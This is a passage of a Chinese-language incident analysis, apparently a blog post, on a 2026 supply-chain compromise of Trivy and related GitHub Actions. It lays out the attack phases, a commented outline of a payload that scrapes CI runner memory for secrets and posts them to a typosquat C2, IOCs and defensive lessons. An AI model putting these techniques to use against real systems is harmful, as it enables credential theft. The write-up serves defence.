initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">攻击者</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MegaGame10418</span></code></p></li><li><strong><span leaf="">方法</span></strong><p><span leaf="">: 利用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pull_request_target</span></code><span leaf=""> 工作流漏洞</span></p></li><li><strong><span leaf="">目标</span></strong><p><span leaf="">: 窃取 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aqua-bot</span></code><span leaf=""> 服务账户的 PAT（Personal Access Token）</span></p></li><li><strong><span leaf="">影响</span></strong><p><span leaf="">:</span></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">Trivy 仓库被重命名为 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aquasecurity/private-trivy</span></code></p></li><li><p><span leaf="">GitHub Releases v0.27.0–v0.69.1 被删除</span></p></li><li><p><span leaf="">恶意 VSCode 扩展被推送到 Open VSIX</span></p></li></ul></ul><h4 data-line="30" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. </span><strong><span leaf="">关键失误</span></strong></h4><blockquote style="background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p data-line="31" dir="auto" style="margin-top: 0px;margin-bottom: 16px;"><span leaf="">Aqua Security 承认：</span><strong><span leaf="">&#34;凭证轮换不是原子性的，攻击者可能获取了刷新后的令牌&#34;</span></strong></p></blockquote><p data-line="33" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这意味着虽然 Aqua 撤销了旧令牌并生成了新令牌，但攻击者已经能够捕获新令牌。</span></p><h2 data-line="35" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🔗 攻击链详解</span></h2><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="37" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Phase 0: 初始访问 (2026-02-27)                             │</span><span leaf=""><br/></span><span leaf="">│  MegaGame10418 → Pwn Request → aqua-bot PAT                 │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">                           ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Phase 1: 恶意提交 (2026-03-19 17:43)                       │</span><span leaf=""><br/></span><span leaf="">│  • 冒充 rauchg (Guillermo Rauch) 提交 actions/checkout      │</span><span leaf=""><br/></span><span leaf="">│  • 冒充 DmitriyLewen 提交 aquasecurity/trivy               │</span><span leaf=""><br/></span><span leaf="">│  • 推送 v0.69.4 标签指向恶意提交                            │</span><span leaf=""><br/></span><span leaf="">│  • C2: scan.aquasecurtiy.org (typosquat)                   │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">                           ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Phase 2: 横向移动 (2026-03-19 21:31-21:36)                │</span><span leaf=""><br/></span><span leaf="">│  使用 aqua-bot  compromised 凭证：                          │</span><span leaf=""><br/></span><span leaf="">│  • aquasecurity/tfsec                                       │</span><span leaf=""><br/></span><span leaf="">│  • aquasecurity/traceeshark                                 │</span><span leaf=""><br/></span><span leaf="">│  • aquasecurity/trivy-action                                │</span><span leaf=""><br/></span><span leaf="">│  注入恶意工作流窃取 CI/CD 密钥                              │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">                           ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Phase 3: 供应链传播 (2026-03-19 22:08)                     │</span><span leaf=""><br/></span><span leaf="">│  • trivy-action: 76/77 标签被投毒                           │</span><span leaf=""><br/></span><span leaf="">│  • setup-trivy: 全部 7 个标签被投毒                          │</span><span leaf=""><br/></span><span leaf="">│  影响数千个下游项目                                         │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">                           ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Phase 4: 混淆 (2026-03-20 00:08)                           │</span><span leaf=""><br/></span><span leaf="">│  96 个垃圾账号在 30 秒内洪水评论                            │</span><span leaf=""><br/></span><span leaf="">│  淹没技术讨论和事件协调                                     │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span><span leaf=""><br/></span><span leaf="">                           ↓</span><span leaf=""><br/></span><span leaf="">┌─────────────────────────────────────────────────────────────┐</span><span leaf=""><br/></span><span leaf="">│  Phase 5-9: 多生态系统扩展                                  │</span><span leaf=""><br/></span><span leaf="">│  • npm: CanisterWorm 自我传播蠕虫                           │</span><span leaf=""><br/></span><span leaf="">│  • ICP: kamikaze.sh 多阶段载荷                              │</span><span leaf=""><br/></span><span leaf="">│  • Docker Hub: 直接推送恶意镜像                             │</span><span leaf=""><br/></span><span leaf="">│  • Checkmarx: OpenVSX + GitHub Actions                      │</span><span leaf=""><br/></span><span leaf="">│  • PyPI: LiteLLM .pth 注入                                  │</span><span leaf=""><br/></span><span leaf="">└─────────────────────────────────────────────────────────────┘</span></code></pre><h2 data-line="83" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🦠 恶意载荷架构</span></h2><h3 data-line="85" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">三阶段有效载荷</span></strong></h3><h4 data-line="87" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. </span><strong><span leaf="">收集 (Collect)</span></strong></h4><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="88" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 通过 /proc/&lt;pid&gt;/mem 转储 Runner.Worker 进程内存</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># grep 模式：{&#34;value&#34;:&#34;&lt;secret&gt;&#34;,&#34;isSecret&#34;:true}</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 收获：SSH 密钥、云凭证、K8s token、加密钱包</span></span></code></pre><h4 data-line="94" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. </span><strong><span leaf="">加密 (Encrypt)</span></strong></h4><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="95" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># AES-256-CBC + RSA-4096 混合加密</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 打包为 tpcp.tar.gz</span></span></code></pre><h4 data-line="100" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 14px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. </span><strong><span leaf="">外传 (Exfiltrate)</span></strong></h4><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="101" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># POST 到 typosquat: scan.aquasecurtiy.org</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 备用：创建 tpcp-docs repo 作为 GitHub dead drop</span></span></code></pre><h2 data-line="106" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🎭 TeamPCP 威胁行为者特征</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">别名</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">平台</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">PCPcat</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Telegram</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Persy_PCP</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Telegram (@Persy_PCP)</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ShellForce</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">DeadCatx3</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">-</span></p></td></tr></tbody></table><h3 data-line="115" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">TTPs (战术、技术和程序)</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">供应链投毒 (GitHub Actions, 包注册表)</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/[pid]/mem</span></code><p><span leaf=""> 内存刮削</span></p></li><li><p><span leaf="">文件系统凭证扫描 (50+ 敏感路径)</span></p></li><li><p><span leaf="">Cloudflare Tunnels (临时 C2)</span></p></li><li><p><span leaf="">ICP canister 备用基础设施</span></p></li><li><p><span leaf="">WAV 隐写术 (v3.3 版本)</span></p></li></ul><h2 data-line="123" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🔑 关键 IOC (入侵指标)</span></h2><h3 data-line="125" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">C2 基础设施</span></strong></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="126" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">主 C2 (typosquat):</span><span leaf=""><br/></span><span leaf="">  scan.aquasecurtiy.org → 45.148.10.212 (阿姆斯特丹)</span><span leaf=""><br/></span><span leaf="">Cloudflare Tunnels:</span><span leaf=""><br/></span><span leaf="">  plug-tab-protective-relay.trycloudflare.com</span><span leaf=""><br/></span><span leaf="">  championships-peoples-point-cassette.trycloudflare.com</span><span leaf=""><br/></span><span leaf="">  create-sensitivity-grad-sequence.trycloudflare.com</span><span leaf=""><br/></span><span leaf="">ICP Canister (共享 C2):</span><span leaf=""><br/></span><span leaf="">  tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io</span><span leaf=""><br/></span><span leaf="">LiteLLM C2:</span><span leaf=""><br/></span><span leaf="">  models.litellm.cloud (NOT litellm.ai)</span></code></pre><h3 data-line="142" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">恶意提交哈希</span></strong></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="143" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span leaf="">actions/checkout:</span><span leaf=""><br/></span><span leaf="">  70379aad1a8b40919ce8b382d3cd7d0315cde1d0 (冒充 rauchg)</span><span leaf=""><br/></span><span leaf="">aquasecurity/trivy:</span><span leaf=""><br/></span><span leaf="">  1885610c6a34811c8296416ae69f568002ef11ec (冒充 DmitriyLewen)</span><span leaf=""><br/></span><span leaf="">LiteLLM 秘密外传:</span><span leaf=""><br/></span><span leaf="">  fcaa823de07878d0d98e97f6f5552c0e2ac00d2f</span><span leaf=""><br/></span><span leaf="">  81c851cc00313c44effd421712523f294b18391e</span></code></pre><h2 data-line="155" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">💡 教训与防御建议</span></h2><h3 data-line="157" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. </span><strong><span leaf="">凭证轮换必须是原子性的</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" 